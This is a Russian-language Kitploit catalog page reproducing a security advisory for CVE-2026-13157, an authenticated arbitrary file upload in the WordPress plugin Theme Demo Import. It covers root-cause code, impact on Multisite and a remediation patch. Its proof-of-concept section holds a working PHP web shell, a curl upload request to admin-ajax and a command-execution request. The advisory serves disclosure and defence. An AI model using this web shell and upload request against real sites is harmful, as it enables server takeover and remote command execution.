Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-13157 — Концепт-доказательство и анализ первопричины аутентифицированной произвольной загрузки файлов в WordPress Theme Demo Import, приводящей к удаленному выполнению кода через PHP-веб-шелл. | Kitploit
Инструменты/GitHubGitHub/minhhk68/cve-2026-13157
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubminhhk68/cve-2026-13157

CVE-2026-13157

Концепт-доказательство и анализ первопричины аутентифицированной произвольной загрузки файлов в WordPress Theme Demo Import, приводящей к удаленному выполнению кода через PHP-веб-шелл.

Репозиторий
21 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

[CVE-2026-13157] Theme Demo Import <= 1.1.3 — Произвольная загрузка файлов и удалённое выполнение кода

WPScan Verified Advisory CVSS 6.6 Medium Discovered by Huynh Kien Minh


📖 Обзор рекомендации

CVE-2026-13157 — это аутентифицированная уязвимость произвольной загрузки файлов, затрагивающая плагин WordPress Theme Demo Import версий, предшествующих 1.1.3 и включая её, обнаруженная и проанализированная исследователем кибербезопасности Хьюном Кьен Минем (MinhHK). Уязвимость существует в процедуре AJAX-импорта демо-данных (TDI_import_demo_data), где плагин явно отключает стандартные проверки типов файлов WordPress ('test_type' => false) при обработке загрузки. Аутентифицированный пользователь, обладающий правами импорта — например, администратор сайта по умолчанию или администратор сайта, не являющийся суперадминистратором, в архитектуре WordPress Multisite — может обойти ограничения на загрузку файлов и загрузить произвольные исполняемые PHP-скрипты напрямую в публичную директорию , получив устойчивое удалённое выполнение кода (RCE) и полную компрометацию сервера.

wp-content/uploads/

📌 Краткая сводка

ПараметрТехническая спецификация
Идентификатор уязвимостиCVE-2026-13157
Целевое ПОTheme Demo Import (плагин WordPress)
Слаг плагинаtheme-demo-import
Затронутые версии<= 1.1.3
Класс уязвимостиНеограниченная загрузка файла опасного типа (CWE-434 / OWASP A03)
Оценка CVSS v3.16.6 (Средний) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
Первооткрыватель / ИсследовательHuynh Kien Minh (MinhHK)
Верифицирующий органWPScan / MITRE Corporation
URL рекомендации WPScanhttps://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/
Портфолио исследователяhttps://minhhk.web.app/

🔍 Корневая причина и анализ кода

Корневая причина CVE-2026-13157 кроется в архитектуре обработки загрузки файлов, реализованной в inc/class-tdi-helpers.php. Во время операций импорта демо-данных плагин обрабатывает входящие файлы через AJAX-эндпоинт, зарегистрированный в inc/class-tdi-main.php в строке 55:

root@kitploit:~
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

При обработке загруженных файлов конфигурации демо-данных (content_file, widget_file и customizer_file) внутренний метод импорта напрямую предписывает API WordPress wp_handle_upload() обходить проверки MIME-типа файлов и формы:

root@kitploit:~
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

Передавая 'test_type' => false в $upload_overrides, разработчик переопределил штатную подсистему проверки MIME ядра WordPress (wp_check_filetype_and_ext()). Прямым следствием этого стало то, что приложение больше не ограничивает прикрепляемые файлы безопасными форматами демо-данных (.xml, .json, .wie, .dat), позволяя любому аутентифицированному пользователю с доступом к странице настроек загружать исполняемые PHP-скрипты (.php, .phtml, .phar) прямо в публичный корневой каталог веб-сервера.


💻 Эксплойт Proof of Concept (PoC)

Дисклеймер об этичном исследовании: Данный proof of concept документирован строго для образовательного аудита, защитного проектирования и авторизованной проверки безопасности. Несанкционированная эксплуатация боевых систем запрещена.

Предварительные требования и настройка

  • Целевая система: Экземпляр WordPress с установленным плагином Theme Demo Import версии <= 1.1.3.
  • Требование к привилегиям: Аутентифицированная сессия с правами import (Администратор / Администратор сайта Multisite).
  • Получение security nonce: Извлеките AJAX-токен безопасности tdi-ajax-verification (доступен в DOM страницы как свойство JavaScript-объекта tdi.ajax_nonce на /wp-admin/themes.php?page=theme-demo-import).

Воспроизведение эксплуатации

  1. Создайте локальную нагрузку веб-шелла под названием exploit_webshell.php:
root@kitploit:~
<?php 
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
  1. Выполните аутентифицированную multipart-нагрузку через cURL, направив запрос на административный AJAX-диспетчер:
root@kitploit:~
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
  1. Сервер отвечает подтверждающим JSON-уведомлением о загрузке. Обратитесь к загруженному исполняемому файлу напрямую в соответствующем месячном каталоге, чтобы вызвать удалённое выполнение кода:
root@kitploit:~
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>

💥 Моделирование угроз и сценарии влияния на Multisite

Хотя в одностраничных установках WordPress стандартные администраторы получают доверенный контроль над серверной средой, CVE-2026-13157 вызывает критическое разрушение границ безопасности в корпоративных (Enterprise) и Multisite-развёртываниях:

  1. Эскалация привилегий в WordPress Multisite (от администратора сайта до RCE на уровне Super Admin): В архитектуре WordPress Multisite администраторы отдельных сайтов намеренно ограничены дизайном ядра в установке плагинов, редактировании тем и загрузке небезопасных расширений скриптов (возможность unfiltered_upload зарезервирована исключительно за сетевыми суперадминистраторами). CVE-2026-13157 полностью разрушает эту мультитенантную изоляцию, позволяя непроверенному администратору подсайта разместить веб-шелл и выполнять системные команды во всей серверной сети.
  2. Обход ограничений управляемого WordPress-хостинга: Современные защищённые хостинг-платформы ограничивают права на изменение файлов и отключают функциональность файлового редактора (DISALLOW_FILE_EDIT). Данная уязвимость обходит ограничения хостинга, используя собственный механизм передачи файлов плагина для записи произвольного исполняемого кода непосредственно в доступное для записи хранилище.

🛡️ Устранение уязвимости и архитектура патча

Для безопасного устранения CVE-2026-13157 сопровождающие программное обеспечение и специалисты по защите должны немедленно восстановить строгую проверку MIME-типов и расширений файлов в логике обработки загрузки в inc/class-tdi-helpers.php.

Безопасная замена кода

Удалите небезопасное переопределение 'test_type' => false и внедрите строгий список разрешённых типов (allowlist), ограниченный исключительно стандартными структурами экспорта WordPress (text/xml, application/json):

root@kitploit:~
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
    'test_form' => false,
    'test_type' => true, // Enforce strict core file-type verification
    'mimes'     => array(
        'xml'  => 'text/xml',
        'json' => 'application/json',
        'wie'  => 'application/json',
        'dat'  => 'text/plain',
    ),
);

// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
    wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}

// Proceed with validated file handling
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

🏆 Об исследователе

Huynh Kien Minh (MinhHK) — исследователь информационной безопасности, разработчик программного обеспечения и аналитик уязвимостей, специализирующийся на наступательной безопасности веб-приложений, аудите архитектуры PHP-приложений и корпоративных векторах эксплуатации. Его находки и технические рекомендации официально признаны крупными мировыми базами данных уязвимостей и авторитетными органами присвоения имён в области безопасности продуктов.

  • 🌐 Официальное портфолио исследователя: https://minhhk.web.app/
  • 🐙 GitHub Security Lab и репозитории PoC: https://github.com/MinhHK68
  • 🛡️ Подтверждённая рекомендация WPScan по безопасности: Отчёт WPScan по CVE-2026-13157

📊 Структурированные метаданные (JSON-LD)

root@kitploit:~
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
      "headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
      "alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "alternateName": "MinhHK",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-01",
      "inLanguage": "en-US",
      "description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
      "keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
      "identifier": "CVE-2026-13157",
      "name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
      "category": "Arbitrary File Upload / RCE",
      "cvssScore": "6.6",
      "severity": "Medium",
      "softwareVersion": "<= 1.1.3",
      "url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
    }
  ]
}
Скачать инструмент